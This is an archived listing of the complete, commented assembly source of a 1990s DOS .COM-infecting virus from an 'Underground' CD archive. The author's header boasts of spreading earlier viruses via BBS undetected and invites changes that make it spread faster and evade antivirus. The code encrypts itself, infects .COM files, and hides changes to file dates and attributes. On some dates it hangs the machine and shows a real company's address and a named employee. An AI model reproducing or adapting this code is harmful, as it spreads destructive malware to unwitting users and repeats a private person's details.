home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / r / rtl4.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  12.2 KB  |  266 lines

  1. ;******************************************************************************
  2.  
  3. ;
  4.  
  5. ; RTL4 / WEDDEN DAT... VIRUS
  6.  
  7. ;
  8.  
  9. ;******************************************************************************
  10.  
  11. ;
  12.  
  13. ; "If a weaking linkage found, eliminate...
  14.  
  15. ;       Hear the cities fearfull roar!"
  16.  
  17. ;
  18.  
  19. ; Now in front of you lies another source of a virus. It is not a very good
  20.  
  21. ; one, but, as you might say, a virus is a virus. After my wake at the PC, I
  22.  
  23. ; created several viruses, like:
  24.  
  25. ;
  26.  
  27. ; Deicide / Glenn
  28.  
  29. ; Morgoth
  30.  
  31. ; Breeze
  32.  
  33. ; Brother
  34.  
  35. ; Commentator I
  36.  
  37. ; Commentator II
  38.  
  39. ; Spawnie
  40.  
  41. ; Xmas
  42.  
  43. ; 1St_Star / 222
  44.  
  45. ; T-1000
  46.  
  47. ;
  48.  
  49. ; Well, I bet you think this is a whole lot, but some are minor variants, for
  50.  
  51. ; which I don't have the guts to publish the source code. I have to admid,
  52.  
  53. ; Deicide and Morgoth have spread very well. I uploaded them to a BBS and it
  54.  
  55. ; was downloaded several times, and it is not detected by antivirus program yet.
  56.  
  57. ; Deicide is now detectable, but that was my first attempt to make a virus.
  58.  
  59. ;
  60.  
  61. ; This virus is a Non-Resident Direct Action .COM Infector.
  62.  
  63. ; It only infects files in the current directory.
  64.  
  65. ; You can recognize a infected file simply, the 4th byte is a '*' (just like
  66.  
  67. ; the 1St_Star virus). It is inactive from January till May and starts
  68.  
  69. ; replicating from May. After July, every Wednessday after the 21st the
  70.  
  71. ; program will hang the system, showing the address of RTL4 Joop v/d Ende
  72.  
  73. ; Productions.
  74.  
  75. ;
  76.  
  77. ; Disclaimer : This program is like all other virus sources only for
  78.  
  79. ; educational purposes and should not be given to irresponsible hands
  80.  
  81. ; (John McAfee and people like him).
  82.  
  83. ;
  84.  
  85. ; For the criminal reader : Don't just change the text of this virus and
  86.  
  87. ; say you made a virus. Instead use some ideas from this virus and create your
  88.  
  89. ; own virus if you want to be nasty. Additions to this virus that makes it
  90.  
  91. ; spreading faster and makes it harder to detect are welcome, as long as I get
  92.  
  93. ; the new source code.
  94.  
  95. ;
  96.  
  97. ; I want to thank several virus writers for their support with letting McAfee
  98.  
  99. ; and Ass. earn his money with making so many updates of SCAN...
  100.  
  101. ; Here they are : Bit Addict, XSTC, Dark Helmet, Dark Avenger, Nuke!, Cracker
  102.  
  103. ; Jack and many more creators.
  104.  
  105. ;
  106.  
  107. ; Note to XSTC : Thank you for disassembling the Deicide virus, for I have lost
  108.  
  109. ; the source code. Next time write a message, because I might have the source
  110.  
  111. ; code of the virus ready, but not uploaded. It saves you time, so you may
  112.  
  113. ; disassemble another virus (ofcourse only for educational purposes ;-) )
  114.  
  115. ;
  116.  
  117. ; Now have fun with this virus, written in A86 assembler version 3.22
  118.  
  119. ;
  120.  
  121. ;               Glenn Benton
  122.  
  123. ;
  124.  
  125. ; "Is it truly a disembodied head lurking in the dark of the tombs of fate?"
  126.  
  127. ;
  128.  
  129.                 Org 0h                          ; The outcome will be .BIN
  130.  
  131.  
  132.  
  133. Start:          Jmp MainVir                     ; Jump to main virus
  134.  
  135.                 Db '*'                          ; signature
  136.  
  137.  
  138.  
  139. MainVir:        Call On1                        ; Get virus offset
  140.  
  141. On1:            Pop BP                          ; BP is the index register
  142.  
  143.                 Sub BP,Offset MainVir+3         ; Calculate virus offset
  144.  
  145.                 Push Ax                         ; And store AX (error reg.)
  146.  
  147.  
  148.  
  149.                 Lea Si,Crypt[BP]                ; Decryptor for the
  150.  
  151.                 Mov Di,Si                       ; virus code. It's long
  152.  
  153.                 Mov Cx,CryptLen                 ; for a decoder, but it
  154.  
  155. Decrypt:        Lodsb                           ; reduces the recognizable
  156.  
  157.                 Xor Al,0                        ; part enough.
  158.  
  159.                 Stosb                           ;
  160.  
  161.                 Loop Decrypt                    ;
  162.  
  163.  
  164.  
  165. DecrLen         Equ $-MainVir                   ; Decryptor length
  166.  
  167.  
  168.  
  169. Crypt:          Mov Ax,Cs:OrgPrg[BP]            ; Store the 4 first bytes
  170.  
  171.                 Mov Bx,Cs:OrgPrg[BP]+2          ; of the host
  172.  
  173.                 Mov Cs:Start+100h,Ax            ;
  174.  
  175.                 Mov Cs:Start[2]+100h,Bx         ;
  176.  
  177.  
  178.  
  179.                 Mov Ah,2ah                      ; Get date
  180.  
  181.                 Int 21h                         ; If it is a wednessday
  182.  
  183.                 Cmp Dh,8                        ; after July and after
  184.  
  185.                 Jb  NoMsg                       ; the 21st, it will
  186.  
  187.                 Cmp Dl,22                       ; will continue, else
  188.  
  189.                 Jb  NoMsg                       ; it goes to NoMsg
  190.  
  191.                 Cmp Al,3                        ;
  192.  
  193.                 Jne NoMsg                       ;
  194.  
  195.  
  196.  
  197.                 Mov Ah,9                        ; Display the message
  198.  
  199.                 Lea Dx,Msg[BP]                  ;
  200.  
  201.                 Int 21h                         ;
  202.  
  203.  
  204.  
  205. Lockout:        Cli                             ; And lock the computer
  206.  
  207.                 Jmp Lockout                     ;
  208.  
  209.  
  210.  
  211. NoMsg:          Cmp Dh,5                        ; Is it after April?
  212.  
  213.                 Jae DoVirus                     ; Yes - Replicate
  214.  
  215.                 Jmp Ready                       ; No - Terminate to host
  216.  
  217.  
  218.  
  219. DoVirus:        Mov Ah,1ah                      ; Move DTA to a safe place
  220.  
  221.                 Mov Dx,0fc00h                   ; $FE00
  222.  
  223.         Int 21h
  224.  
  225.  
  226.  
  227.                 Mov Ah,4eh                      ;
  228.  
  229. Search:         Lea Dx,FileSpec[BP]             ; Search for a .COM file in
  230.  
  231.                 Xor Cx,Cx                       ; the current directory
  232.  
  233.                 Int 21h                         ;
  234.  
  235.  
  236.  
  237.                 Jnc Found                       ; If not exist, goto Ready
  238.  
  239.                 Jmp Ready                       ; else goto Found
  240.  
  241.  
  242.  
  243. Found:          Mov Ax,4300h                    ; Get file attributes
  244.  
  245.                 Mov Dx,0fc1eh                   ; and store them on the stack
  246.  
  247.                 Int 21h                         ;
  248.  
  249.                 Push Cx                         ;
  250.  
  251.  
  252.  
  253.                 Mov Ax,4301h                    ; Wipe the attributes, so it
  254.  
  255.                 Xor Cx,Cx                       ; is accessable for us
  256.  
  257.                 Int 21h                         ;
  258.  
  259.  
  260.  
  261.                 Mov Ax,3d02h                    ; Open the file with
  262.  
  263.                 Int 21h                         ; read/write priority
  264.  
  265.  
  266.  
  267.                 Mov Bx,5700h                    ; Get de file date/time stamp
  268.  
  269.                 Xchg Ax,Bx                      ; and store them on the stack
  270.  
  271.                 Int 21h                         ;
  272.  
  273.                 Push Cx                         ;
  274.  
  275.                 Push Dx                         ;
  276.  
  277.  
  278.  
  279.                 Mov Ah,3fh                      ; Read the first 4 bytes
  280.  
  281.                 Lea Dx,OrgPrg[BP]               ; of the program
  282.  
  283.                 Mov Cx,4                        ;
  284.  
  285.                 Int 21h                         ;
  286.  
  287.  
  288.  
  289.                 Mov Ax,Cs:[OrgPrg][BP]          ; Is it a weird EXE?
  290.  
  291.                 Cmp Ax,'MZ'                     ; Yes goto ExeFile
  292.  
  293.                 Je ExeFile                      ;
  294.  
  295.  
  296.  
  297.                 Cmp Ax,'ZM'                     ; Is it a normal EXE?
  298.  
  299.                 Je ExeFile                      ; Yes, goto ExeFile
  300.  
  301.  
  302.  
  303.                 Mov Ah,Cs:[OrgPrg+3][BP]        ; Is it already infected?
  304.  
  305.                 Cmp Ah,'*'                      ; No, goto Infect
  306.  
  307.                 Jne Infect                      ;
  308.  
  309.  
  310.  
  311. ExeFile:        Call Close                      ; Call File close
  312.  
  313.  
  314.  
  315.                 Mov Ah,4fh                      ; Jump to the search routine
  316.  
  317.                 Jmp Search                      ; again for a .COM file
  318.  
  319.  
  320.  
  321. FSeek:          Xor Cx,Cx                       ; Subroutine for jumping to
  322.  
  323.                 Xor Dx,Dx                       ; the begin/end of file
  324.  
  325.                 Int 21h                         ;
  326.  
  327.                 Ret                             ;
  328.  
  329.  
  330.  
  331. Infect:         Mov Ax,4202h                    ; Jump to EOF
  332.  
  333.                 Call FSeek                      ;
  334.  
  335.  
  336.  
  337.                 Sub Ax,3                        ; Calculate new virus offset
  338.  
  339.                 Mov Cs:CallPtr[BP]+1,Ax         ;
  340.  
  341.  
  342.  
  343.                 Mov Ah,2ch                      ; Get system time
  344.  
  345.                 Int 21h                         ;
  346.  
  347.  
  348.  
  349.                 Mov Cs:Decrypt+2[BP],Dl         ; Move the decryptor part
  350.  
  351.                 Lea Si,MainVir[BP]              ; with the 100ds second put
  352.  
  353.                 Mov Di,0fd00h                   ; into the XOR command to
  354.  
  355.                 Mov Cx,DecrLen                  ; the end of the 64K segment
  356.  
  357.                 Rep Movsb                       ;
  358.  
  359.  
  360.  
  361.                 Lea Si,Crypt[BP]                ; Encrypt the virus with
  362.  
  363.                 Mov Cx,CryptLen                 ; the 100ds seconds.
  364.  
  365. Encrypt:        Lodsb                           ; Merge it behind the
  366.  
  367.                 Xor Al,Dl                       ; decryptor
  368.  
  369.                 Stosb                           ;
  370.  
  371.                 Loop Encrypt                    ;
  372.  
  373.  
  374.  
  375.                 Mov Ah,40h                      ; Write the virus
  376.  
  377.                 Lea Dx,0fd00h                   ; at the end of the
  378.  
  379.                 Mov Cx,VirLen                   ; file
  380.  
  381.                 Int 21h                         ;
  382.  
  383.  
  384.  
  385.                 Mov Ax,4200h                    ; Move to start of
  386.  
  387.                 Call FSeek                      ; the file
  388.  
  389.  
  390.  
  391.                 Mov Ah,40h                      ; Write the jump to the virus
  392.  
  393.                 Lea Dx,CallPtr[BP]              ; at the begin of the file
  394.  
  395.                 Mov Cx,4                        ;
  396.  
  397.                 Int 21h                         ;
  398.  
  399.  
  400.  
  401.                 Call Close                      ; Close the file
  402.  
  403.  
  404.  
  405. Ready:          Mov Ah,1ah                      ; Restore the DTA to the
  406.  
  407.                 Mov Dx,80h                      ; original offset
  408.  
  409.                 Int 21h                         ;
  410.  
  411.  
  412.  
  413.                 Pop Ax                          ; Get (possible) error code
  414.  
  415.  
  416.  
  417.                 Mov Bx,100h                     ; Strange jump (but nice) to
  418.  
  419.                 Push Cs                         ; the begin of the program
  420.  
  421.                 Push Bx                         ; (which has been restored)
  422.  
  423.                 Retf                            ;
  424.  
  425.  
  426.  
  427. Close:          Pop Si                          ; A pop which is stupid
  428.  
  429.  
  430.  
  431.                 Pop Dx                          ; Restore files date/time
  432.  
  433.                 Pop Cx                          ; stamp
  434.  
  435.                 Mov Ax,5701h                    ;
  436.  
  437.                 Int 21h                         ;
  438.  
  439.  
  440.  
  441.                 Mov Ah,3eh                      ; Close file
  442.  
  443.                 Int 21h                         ;
  444.  
  445.  
  446.  
  447.                 Mov Ax,4301h                    ; Restore attributes
  448.  
  449.                 Pop Cx                          ;
  450.  
  451.                 Mov Dx,0fc1eh                   ;
  452.  
  453.                 Int 21h                         ;
  454.  
  455.  
  456.  
  457.                 Push Si                         ; A push which is stupid
  458.  
  459.  
  460.  
  461.                 Ret                             ; Return to caller
  462.  
  463.  
  464.  
  465. CallPtr         Db 0e9h,0,0                     ; Jump
  466.  
  467.  
  468.  
  469. FileSpec        Db '*.COM',0                    ; Filesearch spec & signature
  470.  
  471.  
  472.  
  473. ; Activation message
  474.  
  475.  
  476.  
  477. Msg             Db 13,10,9,9,'RTL4'
  478.  
  479.                 Db 13,10,'Joop van den Ende Produkties BV'
  480.  
  481.                 Db 13,10,'Marco Daas (Casting Assistent)'
  482.  
  483.                 Db 13,10,'Postbus 397'
  484.  
  485.                 Db 13,10,'1430 AJ  AALSMEER'
  486.  
  487.                 Db 13,10,'van Cleeffkade 15'
  488.  
  489.                 Db 13,10,'1413 BA  AALSMEER'
  490.  
  491.                 Db 13,10,'The Netherlands'
  492.  
  493.                 Db 13,10,10,'Wedden dat... je een virus hebt?'
  494.  
  495.                 Db 13,10,'$'
  496.  
  497.  
  498.  
  499. ; First 4 bytes of the host program
  500.  
  501.  
  502.  
  503. OrgPrg:         Int 20h
  504.  
  505.                 DB 'GB'                         ; My initials (Glenn Benton)
  506.  
  507.  
  508.  
  509. CryptLen        Equ $-Crypt                     ; Length of encrypted part
  510.  
  511.  
  512.  
  513. VirLen          Equ $-MainVir                   ; Length of virus
  514.  
  515. ;
  516.  
  517. ; Sleep well, sleep in hell...
  518.  
  519. ;
  520.  
  521.  
  522.  
  523. ;  ─────────────────────────────────────────────────────────────────────────
  524.  
  525. ;  ────────────────────> and Remember Don't Forget to Call <────────────────
  526.  
  527. ;  ────────────> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <──────────
  528.  
  529. ;  ─────────────────────────────────────────────────────────────────────────
  530.  
  531.